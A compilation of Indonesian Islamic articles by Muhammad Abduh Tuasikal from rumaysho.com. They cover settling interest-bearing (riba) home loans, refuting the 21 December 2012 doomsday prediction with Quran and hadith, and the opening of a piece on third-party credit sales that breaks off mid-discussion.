CARA MELUNASI HUTANG KARNA RIBA

Ada yang menanyakan:

Sekarang saya sedang kredit rumah 15 tahun, maunya beli cash namun gak mampu, sedang kebutuhan rumah (minimal RSS) sangat kami butuhkan. Bagaimana jalan keluar melunasi hutang ini?

Yang jelas hutang di atas mengandung riba. Apakah hutang tersebut tetap harus dilunasi? Agar para pembaca mendapatkan jawaban mengenai hal ini, kami bawakan fatwa Syaikh Muhammad bin Sholeh Al Utsaimin dalam Liqo’ Al Bab Al Maftuh (194/12) berikut ini.

Pertanyaan:

Ada seseorang yang memiliki hutang pada bank ribawi, kemudian dia bertaubat pada Allah. Bank tersebut biasa memotong dari gajinya untuk melunasi hutang tersebut. Orang ini tidak memiliki uang untuk membayar hutang tersebut secara tunai, namun dia ingin keluar dari hutang bank tersebut. Apakah ada baginya sesuatu untuk melunasi hutang tersebut hingga lunas?

Jawaban:

Orang tersebut wajib berlepas diri dari riba tersebut sesuai dengan kemampuannya karena Nabi shallallahu ‘alaihi wa sallam telah melaknat pemakan riba (rentenir) dan orang yang menyerahkan riba (nasabah) [1]. Boleh jadi dia meminta pinjaman hutang dari saudara atau kerabatnya untuk melunasi hutang bank tersebut agar gugur darinya riba. Yang terpenting adalah dia harus tetap merencakan hal ini. Jika tidak mungkin, maka dia berusaha meminta pada bank agar jangan ada lagi tambahan riba. Akan tetapi setahu kami, bank tidak mungkin menyetujui hal ini.

Lalu si penanya balik bertanya:

Akan tetapi, wahai Syaikh! Orang tersebut tidak mampu keluar dari bank yaitu berpindah darinya kecuali jika dia melunasi hutangnya.

Lalu Syaikh rahimahullah menjawab:

Kalau begitu, sebaiknya orang tersebut meminta hutangan dari saudara atau sahabatnya lalu dia lunasi hutang (riba) tersebut.

_________

[1] Sebagaimana hal ini terdapat dalam hadits:

Dari Jabir bin ‘Abdillah, beliau berkata,

لَعَنَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- آكِلَ الرِّبَا وَمُوكِلَهُ وَكَاتِبَهُ وَشَاهِدَيْهِ وَقَالَ هُمْ سَوَاءٌ

“Rasulullah shallallahu ‘alaihi wa sallam melaknat pemakan riba (rentenir), orang yang menyerahkan riba (nasabah), pencatat riba (sekretaris) dan dua orang saksinya.” Beliau mengatakan, “Mereka semua itu sama.”(HR. Muslim) [Muslim: 23-Kitab Al Masaqoh, 19-Bab Laknat pada Orang yang Memakan Riba dan yang Menyerahkannya].

_________

Kesimpulan:

Kalau sudah terlanjur kredit rumah semacam itu, maka hutang kredit tersebut harus tetap dilunasi dengan cara dia meminta pinjaman dari selain bank semacam dari saudara, kerabat atau temannya. Tujuannya di sini adalah agar dia tidak termasuk orang yang menyerahkan riba sebagaimana yang dilaknat dalam hadits Nabi shallallahu ‘alaihi wa sallam di atas. Dan selalu mohon pertolongan kepada Allah agar dimudahkan terlepas dari bunga bank ini. Wallahu a’lam.

Semoga Allah menyelamatkan kita semua dari berbagai bentuk riba dan juga debu-debunya.

****

Muhammad Abduh Tuasikal

Artikel http://rumaysho.com

Lagi Tentang 12-21-12

"Hancurnya Dunia Semakin Dekat". Tulisan ini akan membongkar kekeliruan prediksi kiamat yang akan terjadi 21-12-2012. Isu ini sudah beredar di dunia maya sejak setahun yang lalu. Semoga tulisan ini bisa membentengi setiap muslim dari isu yang keliru semacam ini. Hanya Allah yang memberi taufik.

Beberapa kelompok dari seluruh dunia sedang berkumpul dan mulai menghitung mundur tanggal misterius yang telah dinanti-nanti ratusan tahun: 21 Desember 2012. Berbagai kelompok dari Amerika, Kanada dan Eropa, para pengikut sekte apokaliptis (kiamat) dan beberapa individu mengatakan bahwa hari tersebut adalah hari terakhir dunia ini.

Mereka yang percaya bahwa kiamat akan terjadi pada 21 Desember 2012, mendasarkan kepercayaan mereka pada kalender yang dibuat oleh suku Maya, yang ditemukan di reruntuhan di Meksiko. Masyarakat Maya Kuno, yang dikenal maju ilmu matematika dan astronominya, mengikuti “perhitungan panjang” kalender yang mencapai 5126 tahun. Ketika peta astronomi mereka dipindahkan ke kalender Gregorian, yang digunakan secara standar sekarang, waktu perhitungan bangsa Maya berhenti pada 21 Desember 2012. Mereka yang percaya juga mengatakan adanya hubungan lain selain antara kalender maya dan kehancuran yang akan datang. Matahari akan terhubung lurus dengan pusat Tata Surya pertama kalinya semenjak 26000 tahun yang lalu, yang menandai puncak musim dingin. Beberapa orang mengatakan hal ini akan mempengaruhi aliran energi ke bumi, atau karena adanya sunspot dan sunflare yang jumlahnya membengkak, menyebabkan adanya efek terhadap medan magnet bumi.

Tukang ramal Indonesia, Mama Lauren pun sempat angkat bicara di transTV bahwa paranormal tidak bisa menembus tahun 2013 (hanya mentok di 2012).

Apakah betul prediksi kiamat 2012? Semoga ajaran Islam yang haq bisa mengungkapkannya. Hanya Allah yang memberi kemudahan dan taufik.

Tidak Ada yang Mengetahui Kapan Datangnya Hari Kiamat

Rasulullah shallallahu ‘alaihi wa sallam pernah ditanya oleh malaikat Jibril yang datang dalam wujud seorang Arab Badui, beliau ditanya mengenai kapan hari kiamat terjadi. Lantas beliau menjawab,

مَا الْمَسْئُولُ عَنْهَا بِأَعْلَمَ مِنَ السَّائِلِ

Orang yang ditanya tidak lebih tahu dari yang bertanya.”[1]

Sungguh sangat mengherankan yang terjadi saat ini. Beberapa kelompok atau tukang ramal yang sudah pasti suka berdusta, ada yang mengetahui kapan terjadinya kiamat. Rasulullah shallallahu ‘alaihi wa sallam sendiri tidak mengetahui terjadinya hari kiamat, padahal beliau adalah orang yang paling dekat dengan Allah. Begitu pula malaikat Jibril selaku penyampai wahyu dari Allah juga tidak mengetahui kapan terjadinya hari kiamat. Jika Nabi yang paling mulia dan malaikat yang mulia saja tidak mengetahui tanggal, bulan atau tahun terjadinya hari kiamat, sudah sepantasnya orang selain keduanya tidak mengetahui hal tersebut.

Perlu ditegaskan pula bahwa waktu terjadinya hari kiamat termasuk perkara ghoib dan menjadi kekhususan Allah yang mengetahuinya. Sehingga sungguh sangat dusta jika beberapa paranormal (yang sebenarnya tidak normal) bisa menentukan waktu tersebut, baik Mama Laurent, suku Maya di Meksiko atau pun yang lainnya. Ingatlah, hanya Allah yang mengetahui terjadinya kiamat.

يَسْأَلُونَكَ عَنِ السَّاعَةِ أَيَّانَ مُرْسَاهَا قُلْ إِنَّمَا عِلْمُهَا عِنْدَ رَبِّي لا يُجَلِّيهَا لِوَقْتِهَا إِلا هُوَ ثَقُلَتْ فِي السَّمَاوَاتِ وَالأرْضِ لا تَأْتِيكُمْ إِلا بَغْتَةً يَسْأَلُونَكَ كَأَنَّكَ حَفِيٌّ عَنْهَا قُلْ إِنَّمَا عِلْمُهَا عِنْدَ اللَّهِ وَلَكِنَّ أَكْثَرَ النَّاسِ لا يَعْلَمُونَ

Mereka menanyakan kepadamu tentang kiamat: "Kapan terjadinya?" Katakanlah: "Sesungguhnya pengetahuan tentang kiamat itu adalah pada sisi Rabbku; tidak seorang pun yang dapat menjelaskan waktu kedatangannya selain Dia. Kiamat itu amat berat (huru-haranya bagi makhluk) yang di langit dan di bumi. Kiamat itu tidak akan datang kepadamu melainkan dengan tiba-tiba". Mereka bertanya kepadamu seakan-akan kamu benar-benar mengetahuinya. Katakanlah: "Sesungguhnya pengetahuan tentang hari kiamat itu adalah di sisi Allah, tetapi kebanyakan manusia tidak mengetahui".” (QS. Al A’raf: 187)

يَسْأَلُكَ النَّاسُ عَنِ السَّاعَةِ قُلْ إِنَّمَا عِلْمُهَا عِنْدَ اللَّهِ وَمَا يُدْرِيكَ لَعَلَّ السَّاعَةَ تَكُونُ قَرِيبًا

Manusia bertanya kepadamu tentang hari berbangkit. Katakanlah: "Sesungguhnya pengetahuan tentang hari berbangkit itu hanya di sisi Allah". Dan tahukah kamu (hai Muhammad), boleh jadi hari berbangkit itu sudah dekat waktunya.” (QS. Al Ahzab: 63)

يَسْأَلُونَكَ عَنِ السَّاعَةِ أَيَّانَ مُرْسَاهَا, فِيمَ أَنْتَ مِنْ ذِكْرَاهَا, إِلَى رَبِّكَ مُنْتَهَاهَا

(Orang-orang kafir) bertanya kepadamu (Muhammad) tentang hari berbangkit, kapankah terjadinya?. Siapakah kamu (sehingga) dapat menyebutkan (waktunya). Kepada Rabbmulah dikembalikan kesudahannya (ketentuan waktunya).” (QS. An Naazi’at: 42-44)

Ayat-ayat di atas dengan sangat jelas menunjukkan bahwa tidak satu pun makhluk yang mengetahui kapan terjadinya hari kiamat, tidak ada yang mengetahui waktunya selain Allah Ta’ala. Rasulullah shallallahu ‘alaihi wa sallam pun tidak mengetahui karena waktu tersebut termasuk di antara mafaatihul ghoib (kunci-kunci ilmu ghoib) yang hanya Allah saja yang mengetahuinya. Mengenai mafaatihul ghoib yang dimaksudkan dapat dilihat pada firman Allah,

إِنَّ اللَّهَ عِنْدَهُ عِلْمُ السَّاعَةِ وَيُنَزِّلُ الْغَيْثَ وَيَعْلَمُ مَا فِي الأرْحَامِ وَمَا تَدْرِي نَفْسٌ مَاذَا تَكْسِبُ غَدًا وَمَا تَدْرِي نَفْسٌ بِأَيِّ أَرْضٍ تَمُوتُ إِنَّ اللَّهَ عَلِيمٌ خَبِيرٌ

Sesungguhnya Allah, hanya pada sisi-Nya sajalah pengetahuan tentang Hari Kiamat; dan Dia-lah Yang menurunkan hujan, dan mengetahui apa yang ada dalam rahim. Dan tiada seorang pun yang dapat mengetahui (dengan pasti) apa yang akan diusahakannya besok. Dan tiada seorang pun yang dapat mengetahui di bumi mana dia akan mati. Sesungguhnya Allah Maha Mengetahui lagi Maha Mengenal.” (QS. Luqman: 34)

Disebutkan pula dalam kitab Shahih Al Bukhari dari Ibnu ‘Umar radhiyallahu ‘anhuma dari Nabi shallallahu ‘alaihi wa sallam, beliau bersabda,

مَفَاتِحُ الْغَيْبِ خَمْسٌ

Kunci ilmu ghoib itu ada lima.”[2] Kemudian beliau pun membaca firman Allah (yang artinya), “Sesungguhnya Allah, hanya pada sisi-Nya sajalah pengetahuan tentang Hari Kiamat, ... dst”.

Sebelum Terjadinya Kiamat, Akan Muncul Tanda-Tanda Terlebih Dahulu

Ketika menjelaskan tentang hadits Jibril yang datang dengan penambilan Arab Badui dan bertanya pada Nabi shallallahu ‘alaihi wa sallam tentang kapan terjadinya hari kiamat, Syaikhul Islam Ibnu Taimiyah mengatakan,

“Nabi shallallahu ‘alaihi wa sallam telah mengabarkan bahwa beliau sendiri tidak mengetahui tentang kapan terjadinya kiamat dibanding dengan yang bertanya. Orang yang bertanya tersebut nampak seperti orang Arab Badui dan Nabi shallallahu ‘alaihi wa sallam baru mengetahui bahwa dia adalah Jibril setelah dia pergi. Ketika menjawab pertanyaan kapankah kiamat terjadi, Nabi shallallahu ‘alaihi wa sallam menyangka bahwa bahwa orang itu adalah Arab Badui. Apabila Nabi shallallahu ‘alaihi wa sallam saja mengatakan tentang dirinya bahwa beliau tidak mengetahui kapan terjadinya hari kiamat dibanding Arab Badui tadi, maka lebih-lebih lagi dengan orang-orang selain beliau tidak pantas untuk mengetahui hal itu. Anehnya lagi, Al Qur’an dan hadits Nabi menyatakan bahwa kiamat itu memiliki tanda-tanda sebelumnya dan itu amatlah banyak yang datang satu demi satu. Namun ketika waktu sesuai dengan prediksi mereka datang, anehnya tidak ada satu pun tanda-tanda kiamat yang muncul.[3] Itulah anehnya. Padahal Nabi shallallahu ‘alaihi wa sallam menjelaskan bahwa kiamat itu akan datang setelah muncul beberapa tanda sebagaimana disebutkan dalam hadits Hudzaifah bin Asid Al Ghifariy,

اطَّلَعَ النَّبِىُّ -صلى الله عليه وسلم- عَلَيْنَا وَنَحْنُ نَتَذَاكَرُ فَقَالَ « مَا تَذَاكَرُونَ ».قَالُوا نَذْكُرُ السَّاعَةَ. قَالَ « إِنَّهَا لَنْ تَقُومَ حَتَّى تَرَوْنَ قَبْلَهَا عَشْرَ آيَاتٍ ». فَذَكَرَ الدُّخَانَ وَالدَّجَّالَ وَالدَّابَّةَ وَطُلُوعَ الشَّمْسِ مِنْ مَغْرِبِهَا وَنُزُولَ عِيسَى ابْنِ مَرْيَمَ -صلى الله عليه وسلم- وَيَأْجُوجَ وَمَأْجُوجَ وَثَلاَثَةَ خُسُوفٍ خَسْفٌ بِالْمَشْرِقِ وَخَسْفٌ بِالْمَغْرِبِ وَخَسْفٌ بِجَزِيرَةِ الْعَرَبِ وَآخِرُ ذَلِكَ نَارٌ تَخْرُجُ مِنَ الْيَمَنِ تَطْرُدُ النَّاسَ إِلَى مَحْشَرِهِمْ.

Nabi shallallahu ‘alaihi wa sallam memperhatikan kami ketika berbincang-bincang. Beliau berkata, ‘Apa yang sedang kalian perbincangkan?’ Kami menjawab, ‘Kami sedang berbincang-bincang tentang hari kiamat.’ Beliau berkata, ‘Tidak akan terjadi hari kiamat hingga kalian melihat sepuluh tanda.’ Beliau menyebutkan, ’[1] Dukhan (asap), [2] Dajjal, [3] Daabah, [4] terbitnya matahari dari barat, [5] turunnya Isa ‘alaihis salam, [6] keluarnya Ya’juj dan Ma’juj, [7,8,9] terjadinya tiga gerhana yaitu di timur, barat dan di jazirah Arab, yang terakhir adalah [10] keluarnya api dari Yaman yang menggiring manusia ke tempat berkumpulnya mereka’.[4]

Nabi ‘Isa sendiri turun kembali ke muka bumi dan beliau tinggal selama 40 tahun lamanya. Dari Abu Hurairah, Nabi shallallahu ‘alaihi wa sallam bercerita mengenai Nabi ‘Isa,

فَيَمْكُثُ أَرْبَعِينَ سَنَةً ثُمَّ يُتَوَفَّى وَيُصَلِّى عَلَيْهِ الْمُسْلِمُونَ

Nabi ‘Isa tinggal di muka bumi selama 40 tahun kemudian meninggal dan dishalatkan oleh kaum muslimin.”[5] Dari sini, mungkinkah kiamat terjadi tahun 2012?!

Perlu diketahui bahwa berdasarkan berbagai dalil dari Al Qur’an dan As Sunnah, para ulama membagi tanda hari kiamat menjadi dua macam yaitu tanda shughro (kecil) dan tanda kubro (besar). Tanda kiamat shughro sendiri ada yang telah terjadi dan ada yang belum terjadi, ada pula yang berlangsung bukan sekali bahkan terus menerus dan lama kelamaan tanda tersebut lebih banyak terjadi dari waktu-waktu sebelumnya.

Secara lebih lengkap, tanda-tanda kiamat dapat dibagi menjadi empat macam:

Pertama, tanda shughro yang pernah terjadi dan telah berakhir. Contohnya adalah diutusnya Nabi shallallahu ‘alaihi wa sallam dan terbelahnya bulan.

Kedua, tanda shughro yang terus menerus terjadi dan berulang. Contohnya adalah menyerahkan amanah kepada orang yang bukan ahlinya, muncul para pendusta yang mengaku sebagai nabi, muncul wanita-wanita yang berpakaian namun hakekatnya telanjang dan merebaknya perzinaan.

Ketiga, tanda shughro yang belum terjadi. Contohnya adalah tanah Arab akan menjadi subur dan penuh pengairan.

Keempat, tanda kubro, artinya bila tanda-tanda ini muncul, maka kiamat sebentar lagi akan tiba. Di antara tanda tersebut adalah munculnya Dajjal. Akhirnya Dajjal pun dibunuh oleh Nabi ‘Isa. Kemudian muncul pula Ya’juj dan Ma’juj di zaman Nabi ‘Isa. Ya’juj dan Ma’juj juga dimusnahkan oleh Nabi ‘Isa.

Prediksi Kiamat dengan Cara Apapun Tidaklah Tepat

Sudah sejak dulu banyak orang yang mengklaim terjadinya kiamat pada tanggal-tanggal tertentu. Anehnya lagi yang dipilih adalah angka-angka cantik layaknya memilih angka menarik ketika beli voucher perdana. Ada yang mengatakan bahwa kiamat akan terjadi tanggal 19 September 1990 (19-9-1990), sebagaimana yang pernah kami dengar ketika duduk di bangku SD. Ada yang memprediksi tanggal 9 September 1999 (9-9-1990). Ada pula yang memprediksi 1 Januari 2000 (1-1-2000). Namun prediksi-prediksi dengan angka cantik ini semuanya meleset. Entah mereka membuat alasan apa lagi untuk mengelak jika kiamat benar-benar tidak terjadi tanggal 21 Desember 2012 (21-12-2012). Atau mereka mau membuat tanggal cantik lainnya. Mungkin saja bisa diprediksikan bahwa kiamat terjadi tanggal 10 Oktober 2010 (10-10-2010) atau 21 Desember 2112 (21-12-2112). Setiap orang mungkin bisa saja mengarang-ngarang hal ini sekehendaknya, sesuai dengan angka mana yang ia sukai. Namun ingatlah, janganlah sampai kita membicarakan tentang ilmu Allah tanpa dasar sama sekali. Perkara kapan kiamat itu terjadi adalah perkara ghoib, tidak perlu sibuk-sibuk membahasnya. Sibuk-sibuk mencari-cari waktu tersebut sangat bertentangan sekali dengan metode Al Qur’an yang memerintahkan kita untuk tidak membahasnya.

Dr. ‘Umar Sulaiman Al Asyqor mengatakan, “Semestinya yang dilakukan adalah sebagaimana yang dilakukan oleh Rasul shallallahu ‘alaihi wa sallam, para sahabat dan para ulama umat ini dalam sejarah. Seandainya membicarakan kapan terjadinya kiamat adalah suatu kebaikan untuk manusia, tentu Allah Ta’ala akan memberitahukannya kepada mereka. Akan tetapi, Allah sendiri tidak memberitahukan hal tersebut. Maka inilah yang terbaik bagi mereka.”[6]

Selain itu pula para sahabat tidaklah pernah membicarakan hal ini, maka barangsiapa yang sibuk-sibuk mencari-cari waktu tersebut dan membicarakannya atau dengan memprediksi melalui perhitungan-perhitungan yang dianggap ilmiah, atau memprediksi melalui gejala-gejala alam, berarti dia telah melakukan sesuatu yang tidak ada tuntunannya sama sekali (baca: bid’ah). Para ulama salaf seringkali mengatakan,

لَوْ كَانَ خَيرْاً لَسَبَقُوْنَا إِلَيْهِ

Seandainya amalan tersebut baik, tentu mereka (para sahabat) sudah mendahului kita untuk melakukannya.

Inilah perkataan para ulama pada setiap amalan atau perbuatan yang tidak pernah dilakukan oleh para sahabat. Mereka menggolongkan perbuatan semacam ini sebagai bid’ah. Karena para sahabat tidaklah melihat suatu kebaikan kecuali mereka akan segera melakukannya.[7]

Beberapa ulama masa silam, memang ada yang sempat membicarakan waktu kapan terjadinya kiamat bahkan mereka memiliki kitab tersendiri yang membahas hal itu. Sampai-sampai ada di antara mereka mengatakan bahwa dunia ini akan fana (binasa) setelah 500 tahun dari masa diutusnya Nabi Muhammad. Namun setelah 500 Hijriyah, kiamat pun tidak terjadi dan ini sebagai bukti kelirunya sangkaan mereka.

Di antaranya pula ada ulama besar yang memprediksikan waktu tersebut, yaitu Imam As Suyuthi –semoga Allah merahmati beliau-. Beliau bahkan membahas pada juz tersendiri yang dinamakan “Al Kasyfu (Mengungkap Terjadinya Hari Kiamat)”. Beliau menentukan tahun tertentu. Namun waktu yang ia perkirakan ternyata telah berlalu dan tidak terjadi kiamat sama sekali, bahkan belum juga muncul tanda-tandanya.

Begitu pula As Suhailiy memprediksi datangnya hari kiamat dengan menghitung-hitung huruf muqoto’ah (seperti alif laam miim dan haamiim) yang berada di awal-awal surat dalam Al Qur’an. Beliau memprediksikan bahwa kiamat akan terjadi 703 tahun setelah diutusnya Nabi, atau setelah Nabi berhijrah atau dihitung setelah Nabi wafat.[8] Hasil prediksi As Suhailiy pun meleset jauh. Sudah ratusan tahun, belum juga terjadi kiamat.

Begitu pula yang belakangan meneliti hal serupa adalah Dr. Baha’i. Beliau mengklaim bahwa kiamat akan terjadi pada tahun 1710 H. Beliau melakukan perhitungan dari huruf-huruf muqotho’ah yang terdapat di awal-awal surat sebagaimana yang dilakukan sebelumnya oleh As Suhailiy. Anehnya walaupun dari cara yang sama, hasil perhitungan keduanya berbeda jauh. Dr. ‘Umar Sulaiman Al Asyqor pun membantah pernyataannya, “Ini adalah suatu metode yang benar-benar keliru. Orang-orang sebelum dia ada yang menggunakan metode yang sama melalui hitungan huruf-huruf muqhoto’ah. Namun hasil perhitungan orang-orang sebelum Dr. Baha’i tidaklah sama dengannya. Mereka memiliki cara perhitungan yang sama, tetapi hasil perhitungannya jauh berbeda. Inilah yang menunjukkan kelirunya cara mereka dan menunjukkan pula tidak terbuktinya penelitian mereka.”

Syaikhul Islam Ibnu Taimiyah pun memiliki bantahan terhadap orang-orang semacam Dr. Baha’i dan yang sepemikiran dengannya. Beliau mengatakan,

“Siapa saja yang menyibukkan diri memprediksikan terjadinya kiamat pada tahun tertentu; di antaranya yang menulis kitab “Ad Durro Al Munazzom Fii Ma’rifati Al A’zhom” (dalam kitab tersebut disebutkan sepuluh dalil yang menunjukkan kapan terjadinya kiamat), begitu pula ada yang memprediksi dalam kitab “Huruful Mu’jam”, atau dalam kitab ‘Anqo’ Mughrib, atau orang-orang lain yang melakukan prediksi yang sama; walaupun itu dianggap suatu hal yang menakjubkan oleh pengikutnya, namun perlu diketahui bahwa mayoritas mereka adalah pendusta, yang telah tertipu, dan telah terbukti bahwa mereka hanya berbicara tanpa dasar ilmu. Sungguh mereka telah mengklaim dan mengungkap suatu yang ghoib tanpa dasar ilmu sama sekali. Padahal Allah Ta’ala berfirman,

قُلْ إنَّمَا حَرَّمَ رَبِّيَ الْفَوَاحِشَ مَا ظَهَرَ مِنْهَا وَمَا بَطَنَ وَالْإِثْمَ وَالْبَغْيَ بِغَيْرِ الْحَقِّ وَأَنْ تُشْرِكُوا بِاللَّهِ مَا لَمْ يُنَزِّلْ بِهِ سُلْطَانًا وَأَنْ تَقُولُوا عَلَى اللَّهِ مَا لَا تَعْلَمُونَ

Katakanlah: "Rabbku hanya mengharamkan perbuatan yang keji, baik yang nampak atau pun yang tersembunyi, dan perbuatan dosa, melanggar hak manusia tanpa alasan yang benar, (mengharamkan) mempersekutukan Allah dengan sesuatu yang Allah tidak menurunkan hujah untuk itu dan (mengharamkan) mengada-adakan terhadap Allah apa yang tidak kamu ketahui".” (QS.Al A’rof: 33)”[9]

Ibnul Qayyim ketika menjelaskan ayat di atas mengatakan, “Allah mengurutkan keharaman menjadi empat tingkatan. Allah memulai dengan menyebutkan tingkatan dosa yang lebih ringan yaitu al fawaahisy (perbuatan keji). Kemudian Allah menyebutkan keharaman yang lebih dari itu, yaitu melanggar hak manusia tanpa jalan yang benar. Kemudian Allah beralih lagi menyebutkan dosa yang lebih besar lagi yaitu berbuat syirik kepada Allah. Lalu terakhir Allah menyebutkan dosa yang lebih besar dari itu semua yaitu berbicara tentang Allah tanpa ilmu. Larangan berbicara tentang Allah tanpa ilmu ini mencakup berbicara tentang nama dan shifat Allah, perbuatan-Nya, agama dan syari’at-Nya.”[10]

Oleh karena itu, hati-hatilah berbicara tentang kapan terjadinya kiamat tanpa dasar ilmu. Yang mengetahui hal tersebut hanyalah Allah. Prediksi apapun baik dengan penelitian ilmiah ataupun melalui perhitungan-perhitungan akurat, tidak bisa memastikan kapan terjadinya kiamat. Cukuplah kita menutup mulut dan menjaga lisan dari berbicara mengenai perkara ghoib semacam ini.

Kenapa Allah Menyembunyikan Kapan Terjadinya Kiamat?

Di antara alasannya adalah,

Alasan pertama: agar kiamat masih tetap jadi perkara yang ghoib. Seandainya kapan terjadinya kiamat itu diberitahu kepada makhluk, maka perkara tersebut tidaklah menjadi ghoib lagi. Padahal ciri orang beriman yang membedakannya dengan orang kafir adalah beriman pada yang ghoib. Allah Ta’ala berfirman,

الَّذِينَ يُؤْمِنُونَ بِالْغَيْبِ وَيُقِيمُونَ الصَّلاةَ وَمِمَّا رَزَقْنَاهُمْ يُنْفِقُونَ

(Yaitu) mereka yang beriman kepada yang gaib, yang mendirikan shalat dan menafkahkan sebahagian rezki yang Kami anugerahkan kepada mereka.” (QS. Al Baqarah: 3)

Alasan kedua: agar manusia tidak mengulur-ulur waktu untuk beriman dan beramal sholih. Seandainya kita diberitahu tanggal pasti terjadinya hari kiamat –misalnya tanggal 21 Desember 2012- , maka orang pun akan menunda-nunda untuk beramal dan terus bersantai ria. Paling yang terbetik dalam benaknya, “Ah, masih ada waktu untuk menikmati hidup, kiamat masih dua tahun lagi. Tunggu sampai bulan Oktober 2012 saja, barulah kita mulai beramal.” Lihatlah ada sikap menunda-nunda. Hal ini berbeda apabila kiamat disembunyikan waktunya. Karena setiap orang sudah mengetahui bahwa kiamat sudah dekat, tentu mulai saat ini juga dia banyak bertaubat pada Allah dan melakukan banyak ketaatan karena waktu yang tersisa cukup singkat. Oleh karena itu, janganlah menunda-nunda waktu selama masih diberi kehidupan dan janganlah terlalu panjang angan-angan. Ibnu Umar radhiyallahu ‘anhuma mengatakan,

إِذَا أَمْسَيْتَ فَلاَ تَنْتَظِرِ الصَّبَاحَ ، وَإِذَا أَصْبَحْتَ فَلاَ تَنْتَظِرِ الْمَسَاءَ ، وَخُذْ مِنْ صِحَّتِكَ لِمَرَضِكَ ، وَمِنْ حَيَاتِكَ لِمَوْتِكَ

Apabila engkau berada pada sore hari, janganlah menunggu waktu pagi. Apabila engkau berada di waktu pagi, janganlah menunggu waktu sore. Ambillah masa sehatmu sebelum sakitmu dan hidupmu sebelum datang matimu.”[11]

Yang Mesti Dipersiapkan

Setelah pembahasan di atas, jelaslah bahwa berbagai klaim terjadinya hari kiamat pada tanggal, bulan dan tahun tertentu sungguh suatu kekeliruan karena hal ini sama saja telah berbicara tentang ilmu Allah tanpa dasar ilmu sama sekali. Sibuk-sibuk mencari-cari waktu tersebut sangat bertentangan sekali dengan metode Al Qur’an yang memerintahkan kita untuk tidak membahasnya. Yang semestinya dipersiapkan adalah bekal untuk menghadapi masa tersebut yaitu bekal iman dan amal sholih.

‘Ali bin Abi Tholib radhiyallahu ‘anhu memberi petuah kepada kita,

ارْتَحَلَتِ الدُّنْيَا مُدْبِرَةً ، وَارْتَحَلَتِ الآخِرَةُ مُقْبِلَةً ، وَلِكُلِّ وَاحِدَةٍ مِنْهُمَا بَنُونَ ، فَكُونُوا مِنْ أَبْنَاءِ الآخِرَةِ ، وَلاَ تَكُونُوا مِنْ أَبْنَاءِ الدُّنْيَا ، فَإِنَّ الْيَوْمَ عَمَلٌ وَلاَ حِسَابَ ، وَغَدًا حِسَابٌ وَلاَ عَمَلَ

Dunia itu akan ditinggalkan di belakang. Sedangkan akhirat akan berada di hadapan kita. Dunia dan akhirat tesebut memiliki anak. Jadilah anak-anak akhirat dan janganlah kalian menjadi anak dunia. Hari ini (di dunia) adalah hari beramal dan bukanlah hari perhitungan (hisab), sedangkan besok (di akhirat) adalah hari perhitungan (hisab) dan bukanlah hari beramal.”[12]

Meskipun Kiamat Belum Terjadi, Namun Masih Ada Kematian

Satu lagi yang mesti diperhatikan. Meskipun belum muncul beberapa tanda kubro, namun ada kematian yang pasti akan menghampiri setiap insan. Walaupun dia tidak menemui tanda kiamat kubro, setiap orang akan merasakan kematian cepat ataupun lambat. Tidak ada seorang pun yang bisa lari dari yang namanya maut. Allah Ta’ala berfirman,

قُلْ إِنَّ الْمَوْتَ الَّذِي تَفِرُّونَ مِنْهُ فَإِنَّهُ مُلَاقِيكُمْ ثُمَّ تُرَدُّونَ إِلَى عَالِمِ الْغَيْبِ وَالشَّهَادَةِ فَيُنَبِّئُكُمْ بِمَا كُنْتُمْ تَعْمَلُونَ

Katakanlah: "Sesungguhnya kematian yang kamu lari daripadanya, maka sesungguhnya kematian itu akan menemui kamu, kemudian kamu akan dikembalikan kepada (Allah), yang mengetahui yang ghaib dan yang nyata, lalu Dia beritakan kepadamu apa yang telah kamu kerjakan".” (QS. Al Jumu’ah: 8)

Kematian akan tetap menghampiri seseorang, walaupun dia berusaha bersembunyi di dalam benteng yang kokoh. Allah Ta’ala berfirman,

أَيْنَمَا تَكُونُواْ يُدْرِككُّمُ الموت وَلَوْ كُنتُمْ فِي بُرُوجٍ مُّشَيَّدَةٍ

Di mana saja kamu berada, kematian akan mendapatkan kamu, kendatipun kamu di dalam benteng yang tinggi lagi kokoh.” (QS. An Nisa’: 78)

Jadi, kematian (maut) adalah benar adanya.

وَجَاءَتْ سَكْرَةُ الْمَوْتِ بِالْحَقِّ ذَلِكَ مَا كُنْتَ مِنْهُ تَحِيدُ

Dan datanglah sakaratul maut dengan sebenar-benarnya. Itulah yang kamu selalu lari daripadanya.” (QS. Qaaf: 19)

Sehingga pantaskah terbetik untuk menunda-nunda beriman dan beramal sholih. Sungguh, hanya orang yang hatinya tertutup dengan kelamnya maksiat yang tidak mau memperhatikan hal ini.

إِنَّ فِي ذَلِكَ لَذِكْرَى لِمَنْ كَانَ لَهُ قَلْبٌ أَوْ أَلْقَى السَّمْعَ وَهُوَ شَهِيدٌ

Sesungguhnya pada yang demikian itu benar-benar terdapat peringatan bagi orang-orang yang mempunyai hati atau yang menggunakan pendengarannya, sedang dia menyaksikannya.” (QS. Qaaf: 37)

Semoga Allah memberikan taufik kepada kita untuk mempersiapkan diri menghadapi hari kebangkitan dan menghadapi kematian yang setiap kita pasti menemuinya.

Segala puji bagi Allah yang dengan nikmat-Nya segala kebaikan menjadi sempurna.

Silakan download artikel terkait "Prediksi Kiamat 21-12-2012, Benarkah?" di sini.

Penulis: Muhammad Abduh Tuasikal

Artikel http://rumaysho.com

COBA RENUNGKAN RIBA

Segala puji bagi Allah Ta’ala, shalawat dan salam semoga senantiasa tercurahkan kepada Rasul-Nya shallallahu ‘alaihi wa sallam.

Suatu persoalan yang sering muncul di dunia bisnis adalah jual beli kredit melalui pihak ketiga. Kasusnya adalah semacam ini: Sebuah dealer menjual motor kepada Ahmad dengan cara kredit. Namun, Ahmad harus membayar cicilan kredit tersebut kepada sebuah bank.

Praktek jual beli seperti inilah yang banyak dipraktekkan di banyak dealer atau showroom. Juga dapat kita temui praktek yang serupa pada beberapa KPR dan toko elektronik. Sekarang, apakah jual beli semacam ini dibenarkan? Mari kita simak pembahasan berikut, semoga kita bisa mendapatkan jawabannya.
Yang Harus Dipahami Terlebih Dahulu

Di awal pembahasan kali ini, kita akan melihat terlebih dahulu praktek jual beli yang terlarang yaitu menjual barang yang belum selesai diserahterimakan atau masih berada di tempat penjual.

Contohnya adalah Rizki memberi beberapa kain dari sebuah pabrik tekstil. Sebelum barang tersebut sampai ke gudang Rizki atau selesai diserahterimakan, dia menjual barang tersebut kepada Ahmad. Jual beli semacam ini adalah jual beli terlarang karena barang tersebut belum selesai diserahterimakan atau belum sampai di tempat pembeli.

